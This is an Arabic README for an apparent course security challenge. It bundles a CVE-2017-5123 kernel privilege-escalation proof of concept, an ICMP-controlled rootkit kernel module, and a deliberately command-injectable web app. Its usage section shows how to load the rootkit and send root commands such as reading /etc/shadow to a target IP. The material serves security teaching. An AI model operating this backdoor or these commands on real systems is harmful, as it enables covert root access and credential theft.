CVE-2017-5123

يحتوي هذا المستودع على عرض توضيحي لـ CVE-2017-5123، وهو باب خلفي للتحكم والأوامر عبر ICMP، وتطبيق ويب قابل للاستغلال بثغرة CWE-78 (حقن أوامر نظام التشغيل).

جزء من CSC 4308 - التحدي 3.

المتطلبات الأساسية

• Linux Kernel: من 4.13 حتى (وليس بما في ذلك) 4.13.7
• Node.js: 10.x
• npm: 6.x

نظرة عامة

يستعرض هذا المشروع ثلاثة مكونات متميزة من مكونات البحوث الأمنية:

1. استغلال نواة CVE-2017-5123 (lkm/rootkit.c)

استغلال لإثبات المفهوم لثغرة استدعاء النظام waitid التي أُدخلت في نواة لينكس 4.13. تسمح هذه الثغرة بتصعيد الامتيازات والهروب من بيئة العزل.

• معرف CVE: CVE-2017-5123
• معرف CWE: CWE-787 (كتابة خارج الحدود)
• الأثر: تصعيد امتيازات محلي
• مؤلف الاستغلال: Chris Salls (@chris_salls)

2. روتكيت النواة LKM (lkm/lkm.c)

وحدة نواة لينكس خبيثة (LKM) تنفّذ قناة تحكم وأوامر خفية عبر حزم ICMP echo (ping).

• معرف CWE: CWE-912 (وظائف مخفية)
• الوظيفة:
  • تعترض طلبات ICMP echo ذات الرقم التسلسلي 25678
  • تستخرج أوامر الصدفة من حمولة ICMP
  • تنفذ الأوامر بصلاحيات الجذر
  • تعيد مخرجات الأوامر عبر حزم رد ICMP echo

3. تطبيق ويب قابل للاستغلال (vulnerable-app/)

تطبيق لمشاركة الملفات مبني على React + Node.js قابل للاستغلال بحقن أوامر نظام التشغيل.

• معرف CWE: CWE-78 (حقن أوامر نظام التشغيل)
• مواطن الضعف: حقن الحروف الوصفية للصدفة في حقل محتوى الملف

4. أداة ICMP Data Pinger (pinger/data-ping.c)

أداة لإرسال طلبات ICMP echo مخصصة بحمولات مخصصة للتواصل مع الباب الخلفي لروتكيت النواة.

الاستخدام

تحميل LKM

بناء وحدة النواة

cd lkm
make

تحميل وحدة النواة

sudo insmod lkm.ko

بناء عميل Pinger

cd ../pinger
gcc -o data-ping data-ping.c

إرسال الأوامر عبر ICMP

# Must run as root to use raw sockets
sudo ./data-ping <target-ip> "whoami"
sudo ./data-ping localhost "ls -la /root"
sudo ./data-ping 192.168.1.100 "cat /etc/shadow"

إلغاء تحميل الوحدة

sudo rmmod lkm

إعادة التحميل السريع

make reload

تشغيل تطبيق الويب القابل للاستغلال

# Build the frontend
cd vulnerable-app/frontend
npm run build

# Copy build to backend
cp -r build ../backend/

# Start the backend server (serves both API and frontend)
cd ../backend
npm start

سيكون التطبيق متاحًا على http://localhost:3001

المراجع

• CVE-2017-5123: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5123
• CWE-78: https://cwe.mitre.org/data/definitions/78.html
• CWE-787: https://cwe.mitre.org/data/definitions/787.html
• CWE-912: https://cwe.mitre.org/data/definitions/912.html
• كود الاستغلال الأصلي لـ Chris Salls: https://github.com/salls/kernel-exploits